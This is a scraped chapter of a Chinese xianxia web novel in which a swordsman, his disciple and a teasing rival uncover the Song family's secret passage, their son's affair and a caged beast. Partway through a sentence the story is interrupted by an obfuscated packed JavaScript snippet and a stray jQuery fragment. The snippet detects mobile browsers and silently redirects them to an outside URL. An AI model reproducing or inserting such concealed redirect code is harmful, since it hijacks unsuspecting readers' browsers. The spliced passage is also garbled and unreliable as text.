默认冷灰
24号文字
方正启体

21. 唤你姓名 抵死缠绵

作者:树不理本书字数:K更新时间:
    墙檐上,身影凌空跃起。


    衣袍划破月色,顷刻间,来人已经跳进庭院内,自黑暗中不疾不徐,朝狼藉一片的屋内走来。


    幽暗烛火堪堪透过窗纸,模糊了窗外一大团浓墨的树影。


    敌暗我明。


    易弦年的瞳孔骤然收缩,死死盯着逐渐逼近的身影。


    紧张的情绪瞬间控制住他的四肢,易弦年下意识抬起胳膊,挡在兰一白身前。


    小臂尚且还处在紧张之中,微微发着颤。


    少年的衣袖挥过,在面前卷起一小阵涡旋,搅动死寂沉沉的空气,带着似有若无的梨花香。


    兰一白低眉瞧着,眸色闪动。他本想出声告知来人身份,叫易弦年不必紧张,最终还是欲言又止,莫名直了直本就板正的脊背,坦然被护在身后。


    再抬眼,正好撞上李玉竹跨过门槛,扬起大言不惭的笑。


    “兰仙君胆子这样小,还要躲在徒弟后面吗?”


    易弦年被这欠揍的声音拽回神来,回头对上兰一白古井无波的眼睛,又慌乱转回去,讪讪放下手。


    易弦年没忍住小声驳斥:“你别胡说。”


    李玉竹立马接过话茬,佯装恍然大悟:“这样啊,那改天,兰仙君定要赏脸,单独和我好好切磋一番。”


    “就我们两个。”


    李玉竹将“单独”两字甩出了个十万八千里的波浪尾音,满满春心荡漾。


    其轻佻程度简直令人发指。


    易弦年后知后觉李玉竹黏在兰一白身上的视线。


    易弦年恍然:来当他长辈来了。


    福至心灵之间,易弦年悄悄往后撤了一步,却被兰一白抓住手腕。


    师尊牵着他的手,像牵着小孩儿一样,一步一挪。


    莫名的熟悉感,易弦年无端想。


    等将易弦年牵到暗门处,兰一白才很快将手松开。


    “兰仙君就不好奇我为什么在这里吗?”


    李玉竹锲而不舍追上来。


    兰一白闭眼,似乎正在感知些什么,对外界置之不理。


    易弦年不忍话落空,捧场道:“为什么?”


    李玉竹眯起眼睛,笑道:“当然是……不告诉你。”


    易弦年“哦”了一声,眉头皱也没皱一下。


    李玉竹:“啧,你就不能再问问吗?”


    易弦年:“为什么?”


    李玉竹:“求我,求我我就告诉你。”


    易弦年:“……”


    饶是脾气再好的易弦年也被磨没了性子,闭上嘴,任凭李玉竹再怎么逗弄,也没了言语。


    李玉竹不甘寂寞:“那兰仙君肯定知道,要不然也不会同我在此深夜私会。”


    “我们俩可真是心有灵犀。”


    兰一白懒得理他,睁开眼,颀长的手指在墙面摸索,瞄准一处从表面瞧不出的凹陷,按了下去。


    门应声而开,赫然出现长长的暗道,一片幽深。


    兰一白手一挥,两侧的烛台跃上火苗。


    “跟上。”


    ……


    一直在绕圈。


    李玉竹渐渐没了耐心。


    “这宋家真是奇怪,儿子奇怪,当爹娘的奇怪,修个密道也全是弯角,没个直路。”


    伴随着李玉竹一刻不停歇的吐槽,密道的路来到了尽头。


    空空荡荡。


    什么都没有。


    这大概是整个宋府,最家徒四壁的地方。


    “什么都没有?”


    李玉竹抱臂冷哼。


    “宋家大娘上午防我们跟防贼一样,派了两个漏洞百出的废物,结果里边儿什么都没有?”


    “没劲。”李玉竹撇嘴,转眼又笑嘻嘻看向兰一白,挑了挑眉,“兰仙君看出什么门道来了?”


    看出来的知道是撩拨人家,看不出来的还以为是蓄意挑衅呢。


    易弦年摇了摇头。


    兰一白蹙眉,转了转手腕,掌心凝练出一柄剑的灵体,而后迅速刺向面前的墙壁。


    哗啦——


    墙面变成流动的水幕,瞬间消散,显露出面前的场景,正是祠堂旁的厢房。


    宋武彧暂住的地方。


    ——宋武彧睡的床。


    床榻之上,宋武彧和一男人搂抱在一起。


    抵死缠绵,被翻红浪。


    一时间,空气寂静得可怕。


    易弦年瞪直了双眼。


    新世界的大门在他眼前缓缓打开。


    眼前一黑,又被关上了。


    兰一白的手掌覆盖在易弦年薄薄的眼皮之上,睫毛撩拨过掌心,能感知到易弦年眨眼的频率。


    等易弦年眼前再次恢复光明,床榻上的另一位,已然面色惊慌地披上自己的衣裳,脸上红晕未褪。


    宋武彧躺在床上,面色苍白,宛若破布,满面的水痕,已是完全没有意识状态的提线木偶。


    李玉竹吹了个流氓哨:“活春宫。”


    “香艳。”


    那是一个其貌不扬的男人,很是瘦弱。


    他失声尖叫:“你们是谁!怎么能擅自闯别人的家!”


    “家?”李玉竹好笑道,“在祠堂干这档子事儿,还大言不惭,真有够猎奇的。”


    男人拢紧身前的衣服,两眼睁大,瞪着李玉竹,气急败坏道:“你你你……你谁啊你?知道这是谁的地盘吗?这里可是宋家!”


    李玉竹不甘下风,张口开始扯。


    “我我我……我可是宋老爷派来的人,宋老爷传话说让你现在麻溜滚出去,再也别出现在他——家——”


    听了李玉竹胡扯的话,男人却仿佛被抽了三魂六魄一般,瞬间瘫软在地,嘴里不住呢喃,彻底发了疯。


    “不……不可能,明明都答应好了的,我钱都给了,我付出那么大的牺牲……”


    男人像是想到了什么,冲到镜子前,仔细端详自己的脸,瞳孔逐渐漫上愤怒。


    “骗我……骗我!”


    男人尖叫一声,竟是干呕出声,眼里浮现出狠厉,回身狠狠甩了宋武彧一巴掌,而后抱着脑袋,慌不择路跑走了,连带着绊走了宋武彧身上的被褥。


    易弦年不忍,侧着脖颈走上前去,垂眸抓住被角,将宋武彧遮盖严实,眼睛一瞥,却突然发现床脚处露出的一角铁栏杆。


    透露着不同寻常的意味。


    易弦年神色一动,刚想上前去查看一番,却听见兰一白冷声开口。


    “有人。”


    易弦年动作一顿,刚准备起身,就听见一声凄厉的怒喝,直冲他而来。


    “你在对我儿做什么——!”


    宋夫人扶着门框,站在门外,颤着步伐,张牙舞爪朝着易弦年跑来,亮出长长的指甲,面色狰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340545|199305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狞。


    然而没走几步,就被脚底的石子绊倒在地。


    石子骨碌碌滚到一边,兰一白收起手,神色如常。


    宽大的衣袍遮住了他的动作。


    易弦年自觉走到兰一白身边,兰一白向前一步,将人与地上的妇人隔开。


    妇人瘫在地上,哎呦哎呦扶着老腰,不肯起身,被后一步赶来的宋老爷扶着。


    李玉竹呛声:“宋夫人,我们家小孩儿好心,给你儿子盖上被子,保全你儿子的尊严,你可倒好,倒打一耙。”


    “您有这功夫不如赶紧向外面跑两步,说不定还能碰上你儿的奸夫。”


    宋老爷闻言暴起,狠狠甩了宋武彧一巴掌,抖着手,似乎是气狠了,半晌才憋出两个字。


    “……逆子!”


    “你别打他!”


    宋夫人腿脚突然利索了,蹦起身去拦,挡在宋武彧面前。


    她的眼神扫过整个屋子,最终落在床脚,而后迅速走上前去,将一个铁笼子拉了出来。


    笼子里蜷缩着一只小狗崽样的毛茸生物,仔细瞧却又不是。


    其状如狐,白发披身。


    易弦年缓缓睁圆了眼睛。


    他在书上见过画像。


    对上了。


    乘黄。


    兰一白显然也发现问题,却用眼神暗示易弦年先别动,不动声色观察着宋家父母两人。


    宋夫人抹了把眼泪:“你不能怨儿子,要怪,就怪这个小怪物,自从它来了后,儿子就变样了!”


    两人就这样你一言我一语,在三人面前跟演戏一样,在互相埋怨中谩骂儿子性情大变犯下的荒唐事,容不得外人插嘴。


    先是把儿子的遮羞布扒光,再赤裸裸敞开在陌生人面前。


    宋老爷说着说着便急了,提高声音,怒骂宋夫人管教无方,抬脚就要往笼子的方向狠狠踹去。


    兰一白动了动手,笼子便到了自己脚边。


    易弦年试图开口调和:“二位,我们有话可以好好说,这笼子里的,可否拿来先给我们过目。”


    两人明显不服,就要往回拿笼子,还要说些什么,却被李玉竹懒洋洋开口的话噎住,登时没了动静。


    ——“您二位,刚刚一直在外面看着?”


    宋家父母哑口无言。


    兰一白蹲下身,劈开笼锁,细细查看笼子里小狗崽一样的妖兽。


    “它昏过去了,需要立即送回宗门查看。”


    “你……”


    兰一白掀起眼皮,正对上易弦年看向自己的琥珀色眼睛,透露出再认真听话不过的目光。


    他难得晃神。


    从前的记忆对他来说很遥远,模糊不清。


    易弦年是唯一一个他从襁褓里带大的孩子,只是前世太久远了,他不太记得,他不太记得自己如何称呼易弦年。


    年年?小年?还是其他什么的昵称,他通通不记得。


    只记得前世到了最后刀锋相见,互相埋怨憎恨时,“易弦年”三个字,疏离又冰冷。


    他应该叫全名的,兰一白想,像叫陈洱落,江伞离以及林泗玉一样,干净利落,长幼分明。


    但是他忽然开不了这个口。


    兰一白避开易弦年的眼睛。


    “你现在带它回去,交给钱文镜。”


    事情还一团糟,但即将浮出水面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)